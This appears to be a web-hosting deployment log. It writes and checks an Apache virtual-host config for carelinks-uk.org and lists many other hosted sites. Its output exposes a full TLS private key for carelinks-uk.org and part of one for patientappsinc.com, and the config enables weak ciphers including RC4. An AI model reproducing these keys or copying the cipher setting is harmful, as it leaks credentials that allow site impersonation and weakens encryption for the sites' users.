TARGET=/etc/apache2/sites-enabled/carelinks-uk_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/carelinks-uk_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/carelinks-uk_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks-uk_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks-uk_www_org.conf= 1'
fi


2025-09-06 06:01:13: 

chmod 755 /tmp/pkp438778; /tmp/pkp438778; rm /tmp/pkp438778

2025-09-06 06:01:13: 




2025-09-06 06:01:13: 

PUT: /tmp/pkp611289

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-06 06:01:13: 

chmod 755 /tmp/pkp611289; /tmp/pkp611289; rm /tmp/pkp611289

2025-09-06 06:01:13: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-06 06:01:13: Establishing a connection
2025-09-06 06:01:13: 

PUT: /tmp/pkp615592

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-06 06:01:14: 

chmod 755 /tmp/pkp615592; /tmp/pkp615592; rm /tmp/pkp615592

2025-09-06 06:01:14: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:19)
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-06 06:01:14: 

PUT: /tmp/pkp593788

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/carelinks-uk_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-06 06:01:14: 

chmod 755 /tmp/pkp593788; /tmp/pkp593788; rm /tmp/pkp593788

2025-09-06 06:01:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks-uk_www_org.conf	1415

<VirtualHost *:80>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-06 06:01:14: 

PUT: /tmp/pkp844062

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-06 06:01:14: 

chmod 755 /tmp/pkp844062; /tmp/pkp844062; rm /tmp/pkp844062

2025-09-06 06:01:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt	5381
63:0c:fa:25:e5:8b:2e:82:34:41:f2:dc:08:54:3a:f7

-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBSoLaffqNoD7lTMZCCn3gdOFMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTA2MDUwMjQyWhcNMjUxMjA1MDUwMjQxWjAbMRkwFwYDVQQD
ExBjYXJlbGlua3MtdWsub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEA4ukJjW7F5xaBQ17MWAE5C8/BT0H0XlkgqStCKGf1YeCS8igcdOUGAZ1CR/8U
llWmvBH/BxtcVkMmQ7lmU2yrgSixRSGnImA1/Xop9WKh2ivBlS+4g+G7a8hSdmGN
PX9hvkiHOffzrPJ8qaGWl8O0cIqqJLBxTdS67ZxBPukoconWB1TffhUuMKAKx6/J
aWCWg+0TGB6+W2TsFwzBR6b4gBFR1gpTa/7BHWaDkNPRzXkJzAD9epgYGgzlMguO
7D+SBFcGvFKbTvfLuuw/PFIU9vVVnrowHLICHIgd2jjDUe4/HU4KPGOn49ygryg1
FXpbR80X3MwfWMhkNx188584GQIDAQABo4ICNTCCAjEwDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBStn/KU2raQvPKbHG7QoA+hcUHrrTAfBgNVHSMEGDAWgBTnq58PLDOg
U9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTMuaS5sZW5jci5vcmcvMDEGA1UdEQQqMCiCEGNhcmVsaW5rcy11ay5vcmeC
FHd3dy5jYXJlbGlua3MtdWsub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC0GA1Ud
HwQmMCQwIqAgoB6GHGh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNi5jcmwwggEEBgor
BgEEAdZ5AgQCBIH1BIHyAPAAdgCkQsUGSWBhVI8P1Oqc+3otJkVNh6l/L99FWfYn
TzqEVAAAAZkdnU5XAAAEAwBHMEUCIQCaF4/+Z5LVci6oQMes2oIfJtxd19rexdHF
gHdU01nfBAIgVRBp/q93xC9Fxf42cI4ZM1BP3GruwHHAq+ExWpBwIAYAdgDd3Mo0
ldfhFgXnlTL6x5/4PRxQ39sAOhQSdgosrLvIKgAAAZkdnU6/AAAEAwBHMEUCIEc0
OcjUKaoAsN6NczKvq7DvkdcRqMGL9Ev3ryAsQvsZAiEA+2x1GU1KfHlEinbYuGEF
YUEwNOkg9fWf6U7cM5UkCZUwDQYJKoZIhvcNAQELBQADggEBAFI8dlpY5xJ/iBXy
9iHu5WgmATZT8xGRIe+iYZD5ajEeDLbptvLUrSWHtRM0zzVDbHrjuOq7+cPpYFhj
IhP5yf7z2JrgxHw/ELAfleNNTN69vVMxpTV/2H8xN8AiDIES4+rPyxVz0yxoOhn/
zYb5Do+jzwhu0R4vH8Xv3DBUtv3MyWnrvPcmJBhFM7xCeQLVy43wWD/gz/JKlyx7
zQTmR3HT0XQ0eieLppEgQTiIFYJP1CInyj5ZWFZG5eol8wKUxlKJMDprjYXOQ9qH
de1xGs9lk6J7fmmYnXgH/1p5ekAIeBXQ2zWZ7Kf2E75wqwWHrE/JgtIL4bJ+r7gK
mE6wRLU=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDi6QmNbsXnFoFD
XsxYATkLz8FPQfReWSCpK0IoZ/Vh4JLyKBx05QYBnUJH/xSWVaa8Ef8HG1xWQyZD
uWZTbKuBKLFFIaciYDX9ein1YqHaK8GVL7iD4btryFJ2YY09f2G+SIc59/Os8nyp
oZaXw7RwiqoksHFN1LrtnEE+6ShyidYHVN9+FS4woArHr8lpYJaD7RMYHr5bZOwX
DMFHpviAEVHWClNr/sEdZoOQ09HNeQnMAP16mBgaDOUyC47sP5IEVwa8UptO98u6
7D88UhT29VWeujAcsgIciB3aOMNR7j8dTgo8Y6fj3KCvKDUVeltHzRfczB9YyGQ3
HXzznzgZAgMBAAECggEBAKFBFybJqB63oZktD28jP1Ujia83oeBC2rEeKt/oMTwj
iopI8yAnegM/rNDZd9n2eI2DBIgaa55qDhFm+k8jFSausnv8lHgbg4LlhFf8hiUz
n1jUFv6yNq08KU4zuVoQ4neFt4P8r9EianFqgkjMLbkk8hEsyviSy1z9BGke7T2n
XDs6JU2uJSImkNJeN03FRBrYqtzophdz3wlPojszE57OonadOaQvhZAWCFizLs2/
b876Sc7JWN9v2cbXmwuM7skBVzdAUZ2ENiHoKSqcQT7YdE1EgXK2xqKSoMpWaTKQ
8iuvsYdJLd9BKTJbZ7XNlpcrLksFuOJdRFs2YVjl2OECgYEA87TB8GSbQdzn7cXz
sDf59jhchyEjfO5hUcA+HNs5oGnINN9X0ibWgBDQ/2rGJg/GQnZIZpsVp78PCPaa
ml+YQ8sz4xq4mfz6YKy++kAQsNGnVzFvPFl4qLlHgipnyKhuohN+a5XzWXg9TI9o
iDOF7/KzkCxRGcNzww1idncrmrUCgYEA7ltgowySvdAcDDQ1yNq0dYfhYbsjCOA+
4Dd71SQeBfIxfh1+hDVlw0Q2T+04iUtEqWA9tqBvUs/vFvRReKCHi1AlPNi2nagD
W0HmBCo13v1E1IWr4DW6gzWq2bo4aAG1JYQiPQZOmDoMUDO7Lb/9TLZICNN41aya
PCHgmOMnslUCgYEAxdVZjl0NT/UU7YdBIC8Aoij0q9lx5ovYwrVtdp1b9WWJ2ano
r7dJb2K3VnCF9AXgKrm8YlbIyIinmt4deO3bPEVrlJNvgcnEMtBoo9t38SHwVy7R
Hst+0HC/pOHpqBFa5gUvHgT3LA0YrdrIv7AbrUJ3E7V2DJUGlzN5V7O72PUCgYBH
d3p4KNLuurFOL3FY8cpd2woGxZdxl9sCW2BzvcqKud2BFNLUTTZf39nxCQ2EjN7f
cg3O7jeyusnTNhofcvJxIOypW8kVaETpXc7bvNQ+Me4rUpEAPtvXb4X0llNHTAvG
XeHuLi/ukKkUew5KX2BRWe4rR0zZtFDiar3u2V0TqQKBgGEK1oPJmtcVF236YQ5x
9ye/uFPMsyHs0P5J8xVggSSINph4Or6++EOW452shaa0wvD+ZReLJ8vkEiXdqXSj
In7gxqaxjj8wTwesaIGB3ZjTT+f1LSZFB9MtmMnjRwLWXoWSvP5318C17R0irJNb
pTQNimI+TLZkk5/YOc3gFPMZ
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-09-06 06:01:14: Establishing a connection
2025-09-06 06:01:14: Establishing a connection
2025-09-06 06:01:14: 

PUT: /tmp/pkp283222

#!/bin/bash
if [ -d "/var/www/patientappsinc_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-06 06:01:15: 

chmod 755 /tmp/pkp283222; /tmp/pkp283222; rm /tmp/pkp283222

2025-09-06 06:01:15: 


0


2025-09-06 06:01:50: Establishing a connection
2025-09-06 06:01:51: 

PUT: /tmp/pkp123506

#!/bin/bash
temp_file=$(mktemp)
TARGET=7CDF9F2FFCE67F19977AD2F2DDA28042.crt

cat > $temp_file <<'endmsg'
79:ed:38:af:4f:83:c0:b6:be:69:fc:75:fb:14:22:c1

-----BEGIN CERTIFICATE-----
MIIFOTCCBCGgAwIBAgISBR3DpV5NQTyOWwdhL+tiF4zhMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA2MDUwMzIwWhcNMjUxMjA1MDUwMzE5WjAdMRswGQYDVQQD
ExJwYXRpZW50YXBwc2luYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDwNgF4wMvxJ28PNdi3Rw64PYFsZnDnWyr9QMfiUT/JN4HAZDUysiyU5+Zz
OXl+YP2r2yPe+2sskoYvTgHpg1KVhPVIsFspcVuwYUGqz4otWeBiNF8DIULCbwHl
Pg2Ro89oMPOkR01z8l8wvCEjW52N0OCKyo6eQOYZNDoCdNXoTjAJwS6ZxCuzXdY9
fj6+/RULwYrCFmOX/QcOkWRcnl2OTMHhwsBcwO/jrPvvr9XH9mFxlQJeIJP5xvS7
qMdy5G4HIcAUfLVMawdjUyM/GxFiBUdQmBlSOWOuHwcqun9eRwsf7nGLPxFmKFyt
/riQ84Z5MG04siAirlW408WhSkbZAgMBAAGjggJbMIICVzAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFA39tJHCJi9y+HewFg7FaDLb5ZluMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wVwYDVR0RBFAwToIRKi5wYXRpZW50YXBwcy5j
b22CFCoucGF0aWVudGFwcHNpbmMuY29tgg9wYXRpZW50YXBwcy5jb22CEnBhdGll
bnRhcHBzaW5jLmNvbTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzk4LmNybDCCAQMGCisGAQQB1nkC
BAIEgfQEgfEA7wB1AO08S9boBsKkogBX28sk4jgB31Ev7cSGxXAPIN23Pj/gAAAB
mR2d4eEAAAQDAEYwRAIgWqFligpOeersS1vxDZ4h56WbGZiSKIDCjwn9aeRtqVgC
IAQs4A/9YTEbPokpDJW+U1//3zVEXiuIUTM9CUm7JpKKAHYA3dzKNJXX4RYF55Uy
+sef+D0cUN/bADoUEnYKLKy7yCoAAAGZHZ3iJgAABAMARzBFAiAhvrWPuGnukExx
cd1Bs5PJJV8jpjt4X08zwupndrP8QAIhAOjryoT+ZMwl8H8PAMpCnCgrEzEsFYLB
6oFjcpU+1xoIMA0GCSqGSIb3DQEBCwUAA4IBAQA5tq5cfw4VjMGMrSoI6ECCxXEl
1rt4RLcanmN96mxls07yDIAWBF6M54wRzMaE+tVpBArwjdGw73c53njLSSyboHQB
TvSBa48Df8BeWZM0d4sSpFPSBocBg7/XchT1PHbf4t/f+5PsID+xlCm92YtzfU0h
/zIIOGsmF2fZUmy+7e4WEiXceudc/Z976PA8d6WhnDjr2unLhn0CHWWQLS2EVIzs
V9Fu5HIpWb1wECceS/yE6o1iSQ7SzJcFfLJ1HeI0t47aqtNZSZqOARX1fKlQlPHh
RTEA4i1GKZQb1gwKErGN+eViNk/NI0Nn8X/Tjs09DHDACQoNesUW+Lmql/1j
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDwNgF4wMvxJ28P
Ndi3Rw64PYFsZnDnWyr9QMfiUT/JN4HAZDUysiyU5+ZzOXl+YP2r2yPe+2sskoYv
TgHpg1KVhPVIsFspcVuwYUGqz4otWeBiNF8DIULCbwHlPg2Ro89oMPOkR01z8l8w
vCEjW52N0OCKyo6eQOYZNDoCdNXoTjAJwS6ZxCuzXdY9fj6+/RULwYrCFmOX/QcO
kWRcnl2OTMHhwsBcwO/jrPvvr9XH9mFxlQJeIJP5xvS7qMdy5G4HIcAUfLVMawdj
UyM/GxFiBUdQmBlSOWOuHwcqun9eRwsf7nGLPxFmKFyt/riQ84Z5MG04siAirlW4
08WhSkbZAgMBAAECggEBAKbov8kKHiuo/PCSt81SIJZAloed/uGjZZGny7wkPLAy
